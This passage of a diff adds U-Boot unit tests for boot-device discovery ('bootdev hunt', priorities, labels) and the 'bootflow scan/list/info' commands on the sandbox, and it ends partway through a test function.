+ test_set_eth_enable(false);
+
+ /* Start up USB which gives us three additional bootdevs */
+ usb_started = false;
+ ut_assertok(run_command("usb start", 0));
+
+ ut_assertok(bootstd_test_drop_bootdev_order(uts));
+
+ /* 3 MMC and 3 USB bootdevs: MMC should come before USB */
+ console_record_reset_enable();
+ ut_assertok(bootflow_scan_first(NULL, NULL, &iter, 0, &bflow));
+ ut_asserteq(-ENODEV, bootflow_scan_next(&iter, &bflow));
+ ut_asserteq(6, iter.num_devs);
+ ut_asserteq_str("mmc2.bootdev", iter.dev_used[0]->name);
+ ut_asserteq_str("usb_mass_storage.lun0.bootdev",
+ iter.dev_used[3]->name);
+
+ ut_assertok(bootdev_get_sibling_blk(iter.dev_used[3], &blk));
+ ut_asserteq_str("usb_mass_storage.lun0", blk->name);
+
+ /* adjust the priority of the first USB bootdev to the highest */
+ ucp = dev_get_uclass_plat(iter.dev_used[3]);
+ ucp->prio = BOOTDEVP_1_PRE_SCAN;
+
+ /* try again but enable hunting, which brings in SCSI */
+ bootflow_iter_uninit(&iter);
+ ut_assertok(bootflow_scan_first(NULL, NULL, &iter, BOOTFLOWIF_HUNT,
+ &bflow));
+ ut_asserteq(-ENODEV, bootflow_scan_next(&iter, &bflow));
+ ut_asserteq(7, iter.num_devs);
+ ut_asserteq_str("usb_mass_storage.lun0.bootdev",
+ iter.dev_used[0]->name);
+ ut_asserteq_str("mmc2.bootdev", iter.dev_used[1]->name);
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_prio, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check listing hunters */
+static int bootdev_test_hunter(struct unit_test_state *uts)
+{
+ struct bootstd_priv *std;
+
+ usb_started = false;
+ test_set_skip_delays(true);
+
+ /* get access to the used hunters */
+ ut_assertok(bootstd_get_priv(&std));
+
+ console_record_reset_enable();
+ bootdev_list_hunters(std);
+ ut_assert_nextline("Prio Used Uclass Hunter");
+ ut_assert_nextlinen("----");
+ ut_assert_nextline(" 6 ethernet eth_bootdev");
+ ut_assert_nextline(" 1 simple_bus (none)");
+ ut_assert_nextline(" 5 ide ide_bootdev");
+ ut_assert_nextline(" 2 mmc mmc_bootdev");
+ ut_assert_nextline(" 4 nvme nvme_bootdev");
+ ut_assert_nextline(" 4 qfw qfw_bootdev");
+ ut_assert_nextline(" 4 scsi scsi_bootdev");
+ ut_assert_nextline(" 4 spi_flash sf_bootdev");
+ ut_assert_nextline(" 5 usb usb_bootdev");
+ ut_assert_nextline(" 4 virtio virtio_bootdev");
+ ut_assert_nextline("(total hunters: 10)");
+ ut_assert_console_end();
+
+ ut_assertok(bootdev_hunt("usb1", false));
+ ut_assert_nextline(
+ "Bus usb@1: scanning bus usb@1 for devices... 5 USB Device(s) found");
+ ut_assert_console_end();
+
+ /* USB is 7th in the list, so bit 8 */
+ ut_asserteq(BIT(8), std->hunters_used);
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_hunter, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check 'bootdev hunt' command */
+static int bootdev_test_cmd_hunt(struct unit_test_state *uts)
+{
+ struct bootstd_priv *std;
+
+ test_set_skip_delays(true);
+ usb_started = false;
+
+ /* get access to the used hunters */
+ ut_assertok(bootstd_get_priv(&std));
+
+ console_record_reset_enable();
+ ut_assertok(run_command("bootdev hunt -l", 0));
+ ut_assert_nextline("Prio Used Uclass Hunter");
+ ut_assert_nextlinen("----");
+ ut_assert_nextline(" 6 ethernet eth_bootdev");
+ ut_assert_skip_to_line("(total hunters: 10)");
+ ut_assert_console_end();
+
+ /* Use the MMC hunter and see that it updates */
+ ut_assertok(run_command("bootdev hunt mmc", 0));
+ ut_assertok(run_command("bootdev hunt -l", 0));
+ ut_assert_skip_to_line(" 5 ide ide_bootdev");
+ ut_assert_nextline(" 2 * mmc mmc_bootdev");
+ ut_assert_skip_to_line("(total hunters: 10)");
+ ut_assert_console_end();
+
+ /* Scan all hunters */
+ test_set_eth_enable(false);
+ test_set_skip_delays(true);
+ ut_assertok(run_command("bootdev hunt", 0));
+ ut_assert_nextline("Hunting with: ethernet");
+
+ /* This is the extension feature which has no uclass at present */
+ ut_assert_nextline("Hunting with: simple_bus");
+ ut_assert_nextline("Found 2 extension board(s).");
+ ut_assert_nextline("Hunting with: ide");
+
+ /* mmc hunter has already been used so should not run again */
+
+ ut_assert_nextline("Hunting with: nvme");
+ ut_assert_nextline("Hunting with: qfw");
+ ut_assert_nextline("Hunting with: scsi");
+ ut_assert_nextline("scanning bus for devices...");
+ ut_assert_skip_to_line("Hunting with: spi_flash");
+ ut_assert_nextline("Hunting with: usb");
+ ut_assert_nextline(
+ "Bus usb@1: scanning bus usb@1 for devices... 5 USB Device(s) found");
+ ut_assert_nextline("Hunting with: virtio");
+ ut_assert_console_end();
+
+ /* List available hunters */
+ ut_assertok(run_command("bootdev hunt -l", 0));
+ ut_assert_nextlinen("Prio");
+ ut_assert_nextlinen("----");
+ ut_assert_nextline(" 6 * ethernet eth_bootdev");
+ ut_assert_nextline(" 1 * simple_bus (none)");
+ ut_assert_nextline(" 5 * ide ide_bootdev");
+ ut_assert_nextline(" 2 * mmc mmc_bootdev");
+ ut_assert_nextline(" 4 * nvme nvme_bootdev");
+ ut_assert_nextline(" 4 * qfw qfw_bootdev");
+ ut_assert_nextline(" 4 * scsi scsi_bootdev");
+ ut_assert_nextline(" 4 * spi_flash sf_bootdev");
+ ut_assert_nextline(" 5 * usb usb_bootdev");
+ ut_assert_nextline(" 4 * virtio virtio_bootdev");
+ ut_assert_nextline("(total hunters: 10)");
+ ut_assert_console_end();
+
+ ut_asserteq(GENMASK(MAX_HUNTER, 0), std->hunters_used);
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_cmd_hunt, UT_TESTF_DM | UT_TESTF_SCAN_FDT |
+ UT_TESTF_ETH_BOOTDEV);
+
+/* Check searching for bootdevs using the hunters */
+static int bootdev_test_hunt_scan(struct unit_test_state *uts)
+{
+ struct bootflow_iter iter;
+ struct bootstd_priv *std;
+ struct bootflow bflow;
+
+ /* get access to the used hunters */
+ ut_assertok(bootstd_get_priv(&std));
+
+ ut_assertok(bootstd_test_drop_bootdev_order(uts));
+ ut_assertok(bootflow_scan_first(NULL, NULL, &iter,
+ BOOTFLOWIF_SHOW | BOOTFLOWIF_HUNT |
+ BOOTFLOWIF_SKIP_GLOBAL, &bflow));
+ ut_asserteq(BIT(MMC_HUNTER) | BIT(1), std->hunters_used);
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_hunt_scan, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check that only bootable partitions are processed */
+static int bootdev_test_bootable(struct unit_test_state *uts)
+{
+ struct bootflow_iter iter;
+ struct bootflow bflow;
+ struct udevice *blk;
+
+ memset(&iter, '\0', sizeof(iter));
+ memset(&bflow, '\0', sizeof(bflow));
+ iter.part = 0;
+ ut_assertok(uclass_get_device_by_name(UCLASS_BLK, "mmc1.blk", &blk));
+ iter.dev = blk;
+ ut_assertok(device_find_next_child(&iter.dev));
+ uclass_first_device(UCLASS_BOOTMETH, &bflow.method);
+
+ /*
+ * initially we don't have any knowledge of which partitions are
+ * bootable, but mmc1 has two partitions, with the first one being
+ * bootable
+ */
+ iter.part = 2;
+ ut_asserteq(-EINVAL, bootdev_find_in_blk(iter.dev, blk, &iter, &bflow));
+ ut_asserteq(0, iter.first_bootable);
+
+ /* scan with part == 0 to get the partition info */
+ iter.part = 0;
+ ut_asserteq(-ENOENT, bootdev_find_in_blk(iter.dev, blk, &iter, &bflow));
+ ut_asserteq(1, iter.first_bootable);
+
+ /* now it will refuse to use non-bootable partitions */
+ iter.part = 2;
+ ut_asserteq(-EINVAL, bootdev_find_in_blk(iter.dev, blk, &iter, &bflow));
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_bootable, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check hunting for bootdev of a particular priority */
+static int bootdev_test_hunt_prio(struct unit_test_state *uts)
+{
+ usb_started = false;
+ test_set_skip_delays(true);
+
+ console_record_reset_enable();
+ ut_assertok(bootdev_hunt_prio(BOOTDEVP_4_SCAN_FAST, false));
+ ut_assert_nextline("scanning bus for devices...");
+ ut_assert_skip_to_line(" Type: Hard Disk");
+ ut_assert_nextlinen(" Capacity:");
+ ut_assert_console_end();
+
+ /* now try a different priority, verbosely */
+ ut_assertok(bootdev_hunt_prio(BOOTDEVP_5_SCAN_SLOW, true));
+ ut_assert_nextline("Hunting with: ide");
+ ut_assert_nextline("Hunting with: usb");
+ ut_assert_nextline(
+ "Bus usb@1: scanning bus usb@1 for devices... 5 USB Device(s) found");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_hunt_prio, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check hunting for bootdevs with a particular label */
+static int bootdev_test_hunt_label(struct unit_test_state *uts)
+{
+ struct udevice *dev, *old;
+ struct bootstd_priv *std;
+ int mflags;
+
+ usb_started = false;
+
+ /* get access to the used hunters */
+ ut_assertok(bootstd_get_priv(&std));
+
+ /* scan an unknown uclass */
+ console_record_reset_enable();
+ old = (void *)&mflags; /* arbitrary pointer to check against dev */
+ dev = old;
+ mflags = 123;
+ ut_asserteq(-EPFNOSUPPORT,
+ bootdev_hunt_and_find_by_label("fred", &dev, &mflags));
+ ut_asserteq_ptr(old, dev);
+ ut_asserteq(123, mflags);
+ ut_assert_console_end();
+ ut_asserteq(0, std->hunters_used);
+
+ /* scan an invalid mmc controllers */
+ ut_asserteq(-ENOENT,
+ bootdev_hunt_and_find_by_label("mmc4", &dev, &mflags));
+ ut_asserteq_ptr(old, dev);
+ ut_asserteq(123, mflags);
+ ut_assert_console_end();
+
+ ut_assertok(bootstd_test_check_mmc_hunter(uts));
+
+ /* scan for a particular mmc controller */
+ ut_assertok(bootdev_hunt_and_find_by_label("mmc1", &dev, &mflags));
+ ut_assertnonnull(dev);
+ ut_asserteq_str("mmc1.bootdev", dev->name);
+ ut_asserteq(0, mflags);
+ ut_assert_console_end();
+
+ /* scan all of usb */
+ test_set_skip_delays(true);
+ ut_assertok(bootdev_hunt_and_find_by_label("usb", &dev, &mflags));
+ ut_assertnonnull(dev);
+ ut_asserteq_str("usb_mass_storage.lun0.bootdev", dev->name);
+ ut_asserteq(BOOTFLOW_METHF_SINGLE_UCLASS, mflags);
+ ut_assert_nextlinen("Bus usb@1: scanning bus usb@1");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_hunt_label, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check iterating to the next label in a list */
+static int bootdev_test_next_label(struct unit_test_state *uts)
+{
+ const char *const labels[] = {"mmc0", "scsi", "dhcp", "pxe", NULL};
+ struct bootflow_iter iter;
+ struct bootstd_priv *std;
+ struct bootflow bflow;
+ struct udevice *dev;
+ int mflags;
+
+ test_set_eth_enable(false);
+
+ /* get access to the used hunters */
+ ut_assertok(bootstd_get_priv(&std));
+
+ memset(&iter, '\0', sizeof(iter));
+ memset(&bflow, '\0', sizeof(bflow));
+ iter.part = 0;
+ uclass_first_device(UCLASS_BOOTMETH, &bflow.method);
+ iter.cur_label = -1;
+ iter.labels = labels;
+
+ dev = NULL;
+ mflags = 123;
+ ut_assertok(bootdev_next_label(&iter, &dev, &mflags));
+ console_record_reset_enable();
+ ut_assert_console_end();
+ ut_assertnonnull(dev);
+ ut_asserteq_str("mmc0.bootdev", dev->name);
+ ut_asserteq(0, mflags);
+
+ ut_assertok(bootstd_test_check_mmc_hunter(uts));
+
+ ut_assertok(bootdev_next_label(&iter, &dev, &mflags));
+ ut_assert_nextline("scanning bus for devices...");
+ ut_assert_skip_to_line(
+ " Capacity: 1.9 MB = 0.0 GB (4095 x 512)");
+ ut_assert_console_end();
+ ut_assertnonnull(dev);
+ ut_asserteq_str("scsi.id0lun0.bootdev", dev->name);
+ ut_asserteq(BOOTFLOW_METHF_SINGLE_UCLASS, mflags);
+
+ /* SCSI is 7th in the list, so bit 6 */
+ ut_asserteq(BIT(MMC_HUNTER) | BIT(6), std->hunters_used);
+
+ ut_assertok(bootdev_next_label(&iter, &dev, &mflags));
+ ut_assert_console_end();
+ ut_assertnonnull(dev);
+ ut_asserteq_str("eth@10002000.bootdev", dev->name);
+ ut_asserteq(BOOTFLOW_METHF_SINGLE_UCLASS | BOOTFLOW_METHF_DHCP_ONLY,
+ mflags);
+
+ /* dhcp: Ethernet is first so bit 0 */
+ ut_asserteq(BIT(MMC_HUNTER) | BIT(6) | BIT(0), std->hunters_used);
+
+ ut_assertok(bootdev_next_label(&iter, &dev, &mflags));
+ ut_assert_console_end();
+ ut_assertnonnull(dev);
+ ut_asserteq_str("eth@10002000.bootdev", dev->name);
+ ut_asserteq(BOOTFLOW_METHF_SINGLE_UCLASS | BOOTFLOW_METHF_PXE_ONLY,
+ mflags);
+
+ /* pxe: Ethernet is first so bit 0 */
+ ut_asserteq(BIT(MMC_HUNTER) | BIT(6) | BIT(0), std->hunters_used);
+
+ mflags = 123;
+ ut_asserteq(-ENODEV, bootdev_next_label(&iter, &dev, &mflags));
+ ut_asserteq(123, mflags);
+ ut_assert_console_end();
+
+ /* no change */
+ ut_asserteq(BIT(MMC_HUNTER) | BIT(6) | BIT(0), std->hunters_used);
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_next_label, UT_TESTF_DM | UT_TESTF_SCAN_FDT |
+ UT_TESTF_ETH_BOOTDEV | UT_TESTF_SF_BOOTDEV);
+
+
+/* Check iterating to the next prioirty in a list */
+static int bootdev_test_next_prio(struct unit_test_state *uts)
+{
+ struct bootflow_iter iter;
+ struct bootstd_priv *std;
+ struct bootflow bflow;
+ struct udevice *dev;
+ int ret;
+
+ test_set_eth_enable(false);
+ test_set_skip_delays(true);
+
+ /* get access to the used hunters */
+ ut_assertok(bootstd_get_priv(&std));
+
+ memset(&iter, '\0', sizeof(iter));
+ memset(&bflow, '\0', sizeof(bflow));
+ iter.part = 0;
+ uclass_first_device(UCLASS_BOOTMETH, &bflow.method);
+ iter.cur_prio = 0;
+ iter.flags = BOOTFLOWIF_SHOW;
+
+ dev = NULL;
+ console_record_reset_enable();
+ ut_assertok(bootdev_next_prio(&iter, &dev));
+ ut_assertnonnull(dev);
+ ut_asserteq_str("mmc2.bootdev", dev->name);
+
+ /* hunt flag not set, so this should not use any hunters */
+ ut_asserteq(0, std->hunters_used);
+ ut_assert_console_end();
+
+ /* now try again with hunting enabled */
+ iter.flags = BOOTFLOWIF_SHOW | BOOTFLOWIF_HUNT;
+ iter.cur_prio = 0;
+ iter.part = 0;
+
+ ut_assertok(bootdev_next_prio(&iter, &dev));
+ ut_asserteq_str("mmc2.bootdev", dev->name);
+ ut_assert_nextline("Hunting with: simple_bus");
+ ut_assert_nextline("Found 2 extension board(s).");
+ ut_assert_nextline("Hunting with: mmc");
+ ut_assert_console_end();
+
+ ut_asserteq(BIT(MMC_HUNTER) | BIT(1), std->hunters_used);
+
+ ut_assertok(bootdev_next_prio(&iter, &dev));
+ ut_asserteq_str("mmc1.bootdev", dev->name);
+
+ ut_assertok(bootdev_next_prio(&iter, &dev));
+ ut_asserteq_str("mmc0.bootdev", dev->name);
+ ut_assert_console_end();
+
+ ut_assertok(bootdev_next_prio(&iter, &dev));
+ ut_asserteq_str("spi.bin@0.bootdev", dev->name);
+ ut_assert_skip_to_line("Hunting with: spi_flash");
+
+ /*
+ * this scans all bootdevs of priority BOOTDEVP_4_SCAN_FAST before it
+ * starts looking at the devices, so we se virtio as well
+ */
+ ut_assert_nextline("Hunting with: virtio");
+ ut_assert_nextlinen("SF: Detected m25p16");
+
+ ut_assertok(bootdev_next_prio(&iter, &dev));
+ ut_asserteq_str("spi.bin@1.bootdev", dev->name);
+ ut_assert_nextlinen("SF: Detected m25p16");
+ ut_assert_console_end();
+
+ /* keep going until there are no more bootdevs */
+ do {
+ ret = bootdev_next_prio(&iter, &dev);
+ } while (!ret);
+ ut_asserteq(-ENODEV, ret);
+ ut_assertnull(dev);
+ ut_asserteq(GENMASK(MAX_HUNTER, 0), std->hunters_used);
+
+ ut_assert_skip_to_line("Hunting with: ethernet");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_next_prio, UT_TESTF_DM | UT_TESTF_SCAN_FDT |
+ UT_TESTF_SF_BOOTDEV);
diff --git a/test/boot/bootflow.c b/test/boot/bootflow.c
new file mode 100644
index 00000000000..4511cfa7f9b
--- /dev/null
+++ b/test/boot/bootflow.c
@@ -0,0 +1,1162 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for bootdev functions. All start with 'bootdev'
+ *
+ * Copyright 2021 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <bootdev.h>
+#include <bootflow.h>
+#include <bootmeth.h>
+#include <bootstd.h>
+#include <cli.h>
+#include <dm.h>
+#include <efi_default_filename.h>
+#include <expo.h>
+#ifdef CONFIG_SANDBOX
+#include <asm/test.h>
+#endif
+#include <dm/device-internal.h>
+#include <dm/lists.h>
+#include <test/suites.h>
+#include <test/ut.h>
+#include "bootstd_common.h"
+#include "../../boot/bootflow_internal.h"
+#include "../../boot/scene_internal.h"
+
+DECLARE_GLOBAL_DATA_PTR;
+
+extern U_BOOT_DRIVER(bootmeth_cros);
+extern U_BOOT_DRIVER(bootmeth_2script);
+
+static int inject_response(struct unit_test_state *uts)
+{
+ /*
+ * The image being booted presents a menu of options:
+ *
+ * Fedora-Workstation-armhfp-31-1.9 Boot Options.
+ * 1: Fedora-Workstation-armhfp-31-1.9 (5.3.7-301.fc31.armv7hl)
+ * Enter choice:
+ *
+ * Provide input for this, to avoid waiting two seconds for a timeout.
+ */
+ ut_asserteq(2, console_in_puts("1\n"));
+
+ return 0;
+}
+
+/* Check 'bootflow scan/list' commands */
+static int bootflow_cmd(struct unit_test_state *uts)
+{
+ console_record_reset_enable();
+ ut_assertok(run_command("bootdev select 1", 0));
+ ut_assert_console_end();
+ ut_assertok(run_command("bootflow scan -lH", 0));
+ ut_assert_nextline("Scanning for bootflows in bootdev 'mmc1.bootdev'");
+ ut_assert_nextline("Seq Method State Uclass Part Name Filename");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("Scanning bootdev 'mmc2.bootdev':");
+ ut_assert_nextline("Scanning bootdev 'mmc1.bootdev':");
+ ut_assert_nextline(" 0 extlinux ready mmc 1 mmc1.bootdev.part_1 /extlinux/extlinux.conf");
+ ut_assert_nextline("No more bootdevs");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("(1 bootflow, 1 valid)");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("bootflow list", 0));
+ ut_assert_nextline("Showing bootflows for bootdev 'mmc1.bootdev'");
+ ut_assert_nextline("Seq Method State Uclass Part Name Filename");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline(" 0 extlinux ready mmc 1 mmc1.bootdev.part_1 /extlinux/extlinux.conf");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("(1 bootflow, 1 valid)");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_cmd, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check 'bootflow scan' with a label / seq */
+static int bootflow_cmd_label(struct unit_test_state *uts)
+{
+ test_set_eth_enable(false);
+
+ console_record_reset_enable();
+ ut_assertok(run_command("bootflow scan -lH mmc1", 0));
+ ut_assert_nextline("Scanning for bootflows with label 'mmc1'");
+ ut_assert_skip_to_line("(1 bootflow, 1 valid)");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("bootflow scan -lH 0", 0));
+ ut_assert_nextline("Scanning for bootflows with label '0'");
+ ut_assert_skip_to_line("(0 bootflows, 0 valid)");
+ ut_assert_console_end();
+
+ /*
+ * with ethernet enabled we have 8 devices ahead of the mmc ones:
+ *
+ * ut_assertok(run_command("bootdev list", 0));
+ * Seq Probed Status Uclass Name
+ * --- ------ ------ -------- ------------------
+ * 0 [ + ] OK ethernet eth@10002000.bootdev
+ * 1 [ ] OK ethernet eth@10003000.bootdev
+ * 2 [ ] OK ethernet sbe5.bootdev
+ * 3 [ ] OK ethernet eth@10004000.bootdev
+ * 4 [ ] OK ethernet phy-test-eth.bootdev
+ * 5 [ ] OK ethernet dsa-test-eth.bootdev
+ * 6 [ ] OK ethernet dsa-test@0.bootdev
+ * 7 [ ] OK ethernet dsa-test@1.bootdev
+ * 8 [ ] OK mmc mmc2.bootdev
+ * 9 [ + ] OK mmc mmc1.bootdev
+ * a [ ] OK mmc mmc0.bootdev
+ */
+ ut_assertok(run_command("bootflow scan -lH 9", 0));
+ ut_assert_nextline("Scanning for bootflows with label '9'");
+ ut_assert_skip_to_line("(1 bootflow, 1 valid)");
+
+ ut_assertok(run_command("bootflow scan -lH 0", 0));
+ ut_assert_nextline("Scanning for bootflows with label '0'");
+ ut_assert_skip_to_line("(0 bootflows, 0 valid)");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_cmd_label, UT_TESTF_DM | UT_TESTF_SCAN_FDT |
+ UT_TESTF_ETH_BOOTDEV);
+
+/* Check 'bootflow scan/list' commands using all bootdevs */
+static int bootflow_cmd_glob(struct unit_test_state *uts)
+{
+ ut_assertok(bootstd_test_drop_bootdev_order(uts));
+
+ console_record_reset_enable();
+ ut_assertok(run_command("bootflow scan -lGH", 0));
+ ut_assert_nextline("Scanning for bootflows in all bootdevs");
+ ut_assert_nextline("Seq Method State Uclass Part Name Filename");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("Scanning bootdev 'mmc2.bootdev':");
+ ut_assert_nextline("Scanning bootdev 'mmc1.bootdev':");
+ ut_assert_nextline(" 0 extlinux ready mmc 1 mmc1.bootdev.part_1 /extlinux/extlinux.conf");
+ ut_assert_nextline("Scanning bootdev 'mmc0.bootdev':");
+ ut_assert_nextline("No more bootdevs");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("(1 bootflow, 1 valid)");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("bootflow list", 0));
+ ut_assert_nextline("Showing all bootflows");
+ ut_assert_nextline("Seq Method State Uclass Part Name Filename");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline(" 0 extlinux ready mmc 1 mmc1.bootdev.part_1 /extlinux/extlinux.conf");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("(1 bootflow, 1 valid)");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_cmd_glob, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check 'bootflow scan -e' */
+static int bootflow_cmd_scan_e(struct unit_test_state *uts)
+{
+ ut_assertok(bootstd_test_drop_bootdev_order(uts));
+
+ console_record_reset_enable();
+ ut_assertok(run_command("bootflow scan -aleGH", 0));
+ ut_assert_nextline("Scanning for bootflows in all bootdevs");
+ ut_assert_nextline("Seq Method State Uclass Part Name Filename");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("Scanning bootdev 'mmc2.bootdev':");
+ ut_assert_nextline(" 0 extlinux media mmc 0 mmc2.bootdev.whole ");
+ ut_assert_nextline(" ** No partition found, err=-93: Protocol not supported");
+ ut_assert_nextline(" 1 efi media mmc 0 mmc2.bootdev.whole ");
+ ut_assert_nextline(" ** No partition found, err=-93: Protocol not supported");
+
+ ut_assert_nextline("Scanning bootdev 'mmc1.bootdev':");
+ ut_assert_nextline(" 2 extlinux media mmc 0 mmc1.bootdev.whole ");
+ ut_assert_nextline(" ** No partition found, err=-2: No such file or directory");
+ ut_assert_nextline(" 3 efi media mmc 0 mmc1.bootdev.whole ");
+ ut_assert_nextline(" ** No partition found, err=-2: No such file or directory");
+ ut_assert_nextline(" 4 extlinux ready mmc 1 mmc1.bootdev.part_1 /extlinux/extlinux.conf");
+ ut_assert_nextline(" 5 efi fs mmc 1 mmc1.bootdev.part_1 /EFI/BOOT/"
+ BOOTEFI_NAME);
+
+ ut_assert_skip_to_line("Scanning bootdev 'mmc0.bootdev':");
+ ut_assert_skip_to_line(
+ " 3f efi media mmc 0 mmc0.bootdev.whole ");
+ ut_assert_nextline(" ** No partition found, err=-93: Protocol not supported");
+ ut_assert_nextline("No more bootdevs");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("(64 bootflows, 1 valid)");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("bootflow list", 0));
+ ut_assert_nextline("Showing all bootflows");
+ ut_assert_nextline("Seq Method State Uclass Part Name Filename");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline(" 0 extlinux media mmc 0 mmc2.bootdev.whole ");
+ ut_assert_nextline(" 1 efi media mmc 0 mmc2.bootdev.whole ");
+ ut_assert_skip_to_line(
+ " 4 extlinux ready mmc 1 mmc1.bootdev.part_1 /extlinux/extlinux.conf");
+ ut_assert_skip_to_line(" 3f efi media mmc 0 mmc0.bootdev.whole ");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("(64 bootflows, 1 valid)");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_cmd_scan_e, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check 'bootflow info' */
+static int bootflow_cmd_info(struct unit_test_state *uts)
+{
+ console_record_reset_enable();
+ ut_assertok(run_command("bootdev select 1", 0));
+ ut_assert_console_end();
+ ut_assertok(run_command("bootflow scan", 0));
+ ut_assert_console_end();
+ ut_assertok(run_command("bootflow select 0", 0));
+ ut_assert_console_end();
+ ut_assertok(run_command("bootflow info", 0));
+ ut_assert_nextline("Name: mmc1.bootdev.part_1");
+ ut_assert_nextline("Device: mmc1.bootdev");
+ ut_assert_nextline("Block dev: mmc1.blk");
+ ut_assert_nextline("Method: extlinux");
+ ut_assert_nextline("State: ready");
+ ut_assert_nextline("Partition: 1");
+ ut_assert_nextline("Subdir: (none)");
+ ut_assert_nextline("Filename: /extlinux/extlinux.conf");
+ ut_assert_nextlinen("Buffer: ");
+ ut_assert_nextline("Size: 253 (595 bytes)");
+ ut_assert_nextline("OS: Fedora-Workstation-armhfp-31-1.9 (5.3.7-301.fc31.armv7hl)");
+ ut_assert_nextline("Cmdline: (none)");
+ ut_assert_nextline("Logo: (none)");
+ ut_assert_nextline("FDT: <NULL>");
+ ut_assert_nextline("Error: 0");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("bootflow info -d", 0));
+ ut_assert_nextline("Name: mmc1.bootdev.part_1");
+ ut_assert_skip_to_line("Error: 0");
+ ut_assert_nextline("Contents:");
+ ut_assert_nextline("%s", "");
+ ut_assert_nextline("# extlinux.conf generated by appliance-creator");
+ ut_assert_skip_to_line(" initrd /initramfs-5.3.7-301.fc31.armv7hl.img");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_cmd_info, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check 'bootflow scan -b' to boot the first available bootdev */
+static int bootflow_scan_boot(struct unit_test_state *uts)
+{
+ console_record_reset_enable();
+ ut_assertok(inject_response(uts));
+ ut_assertok(run_command("bootflow scan -b", 0));
+ ut_assert_nextline(
+ "** Booting bootflow 'mmc1.bootdev.part_1' with extlinux");
+ ut_assert_nextline("Ignoring unknown command: ui");
+
+ /*
+ * We expect it to get through to boot although sandbox always returns
+ * -EFAULT as it cannot actually boot the kernel
+ */
+ ut_assert_skip_to_line("sandbox: continuing, as we cannot run Linux");
+ ut_assert_nextline("Boot failed (err=-14)");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_scan_boot, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check iterating through available bootflows */
+static int bootflow_iter(struct unit_test_state *uts)
+{
+ struct bootflow_iter iter;
+ struct bootflow bflow;
+
+ bootstd_clear_glob();
+
+ /* The first device is mmc2.bootdev which has no media */
+ ut_asserteq(-EPROTONOSUPPORT,
+ bootflow_scan_first(NULL, NULL, &iter,
+ BOOTFLOWIF_ALL | BOOTFLOWIF_SKIP_GLOBAL, &bflow));
+ ut_asserteq(2, iter.num_methods);
+ ut_asserteq(0, iter.cur_method);
+ ut_asserteq(0, iter.part);
+ ut_asserteq(0, iter.max_part);
+ ut_asserteq_str("extlinux", iter.method->name);
+ ut_asserteq(0, bflow.err);
+
+ /*
+ * This shows MEDIA even though there is none, since in
+ * bootdev_find_in_blk() we call part_get_info() which returns
+ * -EPROTONOSUPPORT. Ideally it would return -EEOPNOTSUPP and we would
+ * know.
+ */
+ ut_asserteq(BOOTFLOWST_MEDIA, bflow.state);
+
+ ut_asserteq(-EPROTONOSUPPORT, bootflow_scan_next(&iter, &bflow));
+ ut_asserteq(2, iter.num_methods);
+ ut_asserteq(1, iter.cur_method);
+ ut_asserteq(0, iter.part);
+ ut_asserteq(0, iter.max_part);
+ ut_asserteq_str("efi", iter.method->name);
+ ut_asserteq(0, bflow.err);
+ ut_asserteq(BOOTFLOWST_MEDIA, bflow.state);
+ bootflow_free(&bflow);
+
+ /* The next device is mmc1.bootdev - at first we use the whole device */
+ ut_asserteq(-ENOENT, bootflow_scan_next(&iter, &bflow));
+ ut_asserteq(2, iter.num_methods);
+ ut_asserteq(0, iter.cur_method);
+ ut_asserteq(0, iter.part);
+ ut_asserteq(0x1e, iter.max_part);
+ ut_asserteq_str("extlinux", iter.method->name);
+ ut_asserteq(0, bflow.err);
+ ut_asserteq(BOOTFLOWST_MEDIA, bflow.state);
+ bootflow_free(&bflow);
+
+ ut_asserteq(-ENOENT, bootflow_scan_next(&iter, &bflow));
+ ut_asserteq(2, iter.num_methods);
